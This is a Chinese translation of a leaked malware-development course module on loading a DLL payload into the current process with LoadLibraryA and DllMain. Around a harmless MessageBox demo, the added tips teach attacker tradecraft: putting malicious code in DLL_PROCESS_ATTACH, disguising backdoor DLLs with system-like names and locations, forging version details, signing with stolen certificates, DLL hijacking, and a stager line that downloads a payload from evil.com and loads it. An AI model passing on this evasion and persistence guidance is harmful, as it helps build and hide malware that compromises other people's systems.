0%
毅种循环

模块 26 - 本地 Payload 执行 - DLL

恶意软件开发课程 - 本地 Payload 执行 - DLL


模块 26 - 本地 Payload 执行 - DLL#

[!IMPORTANT] 本知识库声明

本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示实践心得

  1. 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
  2. 版权归属:原始知识产权归原作者/官方所有。
  3. 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程
  4. 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。

本地 Payload 执行 - DLL#

简介#

本模块探讨如何将动态链接库(Dynamic Link Libraries, DLLs)用作 Payload,并演示如何在当前进程中加载恶意 DLL 文件。

💡 初学者提示:什么是本地 Payload 执行?

本地执行 vs 远程执行:

  • 本地执行: 在当前进程中执行 Payload
    • 你的程序加载并运行 Payload
    • Payload 与你的程序在同一个内存空间
    • 就像在自己家里执行任务
  • 远程执行: 在其他进程中执行 Payload(后续模块)
    • 注入到其他正在运行的进程(如 explorer.exe)
    • Payload 在目标进程的内存空间运行
    • 就像偷偷溜进邻居家执行任务

为什么先学本地执行? 本地执行更简单,是理解远程注入的基础!

创建 DLL#

创建 DLL 很简单,可以使用 Visual Studio 完成。创建一个新项目,将编程语言设置为 C++,最后选择 Dynamic-Link Library (DLL)。这将创建一个 DLL 骨架代码,我们将在本模块的其余部分中对其进行修改。如需复习 DLL 的工作原理,请随时查看之前的 DLL 入门模块。

图片
图片

📚 知识扩展:Visual Studio DLL 项目设置

创建 DLL 项目后,Visual Studio 会自动生成:

  1. dllmain.cpp: DLL 的入口点文件
  2. DllMain 函数: DLL 被加载时自动调用
  3. framework.h: 预编译头文件
  4. pch.cpp/pch.h: 预编译头相关文件

重要设置:

  • 项目属性 → C/C++ → Precompiled Headers → 设置为 “Not Using Precompiled Headers”
  • 这样可以避免 #include "pch.h" 的要求
  • 代码更简洁,更容易移植

DLL 设置#

本演示将使用一个消息框,当 DLL 成功加载时会显示该消息框。可以使用 MessageBox WinAPI 轻松创建消息框。下面的代码片段将在 DLL 加载到进程中时运行 MsgBoxPayload。请注意,预编译头已从项目的 C/C++ 设置中删除,如 动态链接库 入门模块中所示。

💡 初学者提示:DllMain 函数详解

DllMain 是 DLL 的”心脏”,Windows 在特定时机会调用它:

调用时机dwReason 值用途
DLL 加载时DLL_PROCESS_ATTACH🎯 最常用! 执行初始化代码
DLL 卸载时DLL_PROCESS_DETACH清理资源
新线程创建DLL_THREAD_ATTACH线程特定初始化(少用)
线程结束DLL_THREAD_DETACH线程清理(少用)

实战中:

  • 恶意代码通常放在 DLL_PROCESS_ATTACH
  • 一旦 DLL 被加载,代码立即执行
  • 可以在这里启动线程运行持久化代码

📚 知识扩展:MessageBox 参数详解

MessageBoxA 函数签名:

int MessageBoxA(
  HWND    hWnd,      // 父窗口句柄(NULL = 无父窗口)
  LPCSTR  lpText,    // 消息内容
  LPCSTR  lpCaption, // 标题
  UINT    uType      // 样式标志
);
c

常用样式组合:

  • MB_OK: 只有 OK 按钮
  • MB_ICONINFORMATION: 信息图标 (ℹ️)
  • MB_ICONWARNING: 警告图标 (⚠️)
  • MB_ICONERROR: 错误图标 (❌)
  • MB_OKCANCEL: OK 和 Cancel 按钮

为什么用 MessageBox 测试?

  • 简单直观,容易验证代码是否执行
  • 实战中会替换为真正的 Payload(shellcode、后门等)

本地注入#

回顾一下,LoadLibrary WinAPI 用于加载 DLL。该函数接收磁盘上的 DLL 路径,并将其加载到调用进程的地址空间中,在我们的例子中,调用进程就是当前进程。加载 DLL 将运行其入口点,从而运行 MsgBoxPayload 函数,使消息框出现。虽然概念很简单,但这对于理解后续模块中更复杂的技术非常有用。

下面的代码将把 DLL 的名称作为命令行参数,使用 LoadLibraryA 加载它,并执行一些错误检查以确保 DLL 成功加载。

💡 初学者提示:代码工作流程

程序执行步骤:

1. 检查参数
   └─→ 用户是否提供了 DLL 路径?

2. 加载 DLL
   └─→ LoadLibraryA(dll_path)
       ├─ Windows 找到 DLL 文件
       ├─ 映射到当前进程内存
       ├─ 调用 DLL 的 DllMain
       └─ dwReason = DLL_PROCESS_ATTACH
           └─→ 执行 MsgBoxPayload()
               └─→ 消息框弹出! 🎉

3. 等待用户
   └─→ 保持进程运行,否则 DLL 会被卸载
plaintext

📚 知识扩展:LoadLibrary 函数族

Windows 提供了几个加载 DLL 的函数:

函数字符集参数用途
LoadLibraryAANSIchar*普通字符串路径
LoadLibraryWUnicodewchar_t*宽字符串路径
LoadLibrary自动TCHAR*根据项目设置自动选择
LoadLibraryExAANSI+flags带额外标志(如只加载资源)

加载方式:

  • 绝对路径: C:\\Temp\\malicious.dll
  • 相对路径: ..\\payloads\\mal.dll
  • 文件名: evil.dll(会在系统 DLL 搜索路径中查找)

DLL 搜索顺序(安全重要!):

  1. 应用程序所在目录
  2. 系统目录 (C:\Windows\System32)
  3. 16位系统目录
  4. Windows 目录
  5. 当前目录
  6. PATH 环境变量中的目录

💡 DLL 劫持利用: 可以在应用程序目录放置同名 DLL 进行劫持!

输出#

正如预期的那样,注入 DLL 后消息框成功显示。

图片
图片

进程分析#

为了进一步验证 DLL 已加载到进程中,可以运行 Process Hacker,双击加载了 DLL 的进程并前往”Modules”(模块)选项卡。DLL 的名称应该出现在模块列表中。点击 DLL 名称将检索有关它的其他信息,例如导入表、是否已签名以及节名称。

图片
图片

📚 知识扩展:使用 Process Hacker 分析

Process Hacker 是强大的进程分析工具,在”Modules”标签可以看到:

  1. 模块列表: 进程加载的所有 DLL
    • 名称、路径、基地址、大小
  2. 验证签名: 查看 DLL 是否有数字签名
    • ✅ Verified: Microsoft 或其他受信任的签名
    • ❌ No signature: 未签名(可疑!)
  3. 内存布局:
    • Base Address: DLL 在内存中的起始地址
    • Size: DLL 占用的内存大小
  4. 节信息:
    • .text: 代码节
    • .data: 数据节
    • .rdata: 只读数据

实战分析:

正常进程加载的 DLL:
├─ kernel32.dll  ✅ Microsoft
├─ ntdll.dll     ✅ Microsoft
├─ user32.dll    ✅ Microsoft
└─ malicious.dll ❌ No signature ← 可疑!
plaintext

💡 实战技巧:隐藏恶意 DLL

为了降低被发现的概率:

  1. 使用常见的 DLL 名称:

    // 糟糕的名字(一眼就看出来)
    evil_backdoor.dll
    
    // 好的名字(看起来正常)
    msvcr120.dll
    helper.dll
    c
  2. 放在系统目录:

    • C:\Windows\System32\
    • C:\Program Files\Common Files\
  3. 伪造签名信息:

    • 添加版本信息资源
    • 伪造公司名称、产品名称等
  4. 代码签名(高级):

    • 使用偷来的或自签的证书
    • 使某些安全软件信任你的 DLL

🎯 总结#

在本模块中,我们学习了:

  1. DLL 创建: 使用 Visual Studio 创建 DLL 项目
  2. DllMain 入口点: DLL 被加载时的执行流程
  3. 本地加载: 使用 LoadLibraryA 在当前进程加载 DLL
  4. 进程分析: 使用 Process Hacker 验证 DLL 加载

💡 关键要点

  • DLL 加载后会自动调用 DllMain 函数
  • DLL_PROCESS_ATTACH 是放置恶意代码的最佳位置
  • LoadLibrary 函数可以加载任意路径的 DLL
  • Process Hacker 可以查看进程加载的所有模块

🎯 本地 vs 远程 DLL 注入对比

特性本地注入远程注入(后续)
目标进程当前进程其他进程
难度⭐ 简单⭐⭐⭐ 复杂
隐蔽性⭐⭐ 低⭐⭐⭐⭐ 高
权限要求无特殊要求可能需要提权
API 使用LoadLibraryCreateRemoteThread + WriteProcessMemory
用途测试、学习实战攻击

📚 实战应用场景

本地 DLL 加载的实际用途:

  1. 插件系统:

    // 主程序动态加载功能模块
    LoadLibrary("encryption_plugin.dll");
    LoadLibrary("network_plugin.dll");
    c
  2. 后门持久化:

    // 主程序定期检查并加载后门 DLL
    if (file_exists("update.dll")) {
        LoadLibrary("update.dll");  // 实际是后门
    }
    c
  3. 分阶段加载:

    // Stage 1: 小型 dropper
    // 下载 Stage 2 DLL
    download("http://evil.com/payload.dll", "temp.dll");
    // 加载执行
    LoadLibrary("temp.dll");
    c
  4. DLL 劫持:

    // 合法程序尝试加载系统 DLL
    LoadLibrary("version.dll");
    // 但攻击者在程序目录放了恶意 version.dll
    // 结果加载了恶意 DLL!
    c

📚 下一步学习

本模块介绍了DLL 加载的基础。接下来你将学习:

  • Module 27: 本地 Shellcode 执行(更灵活的 Payload 格式)
  • Module 28: DLL 远程注入(注入到其他进程)
  • Module 29: Shellcode 远程注入(组合两种技术)

这些技术将构建在本模块的基础之上,逐步提高复杂度和隐蔽性!🚀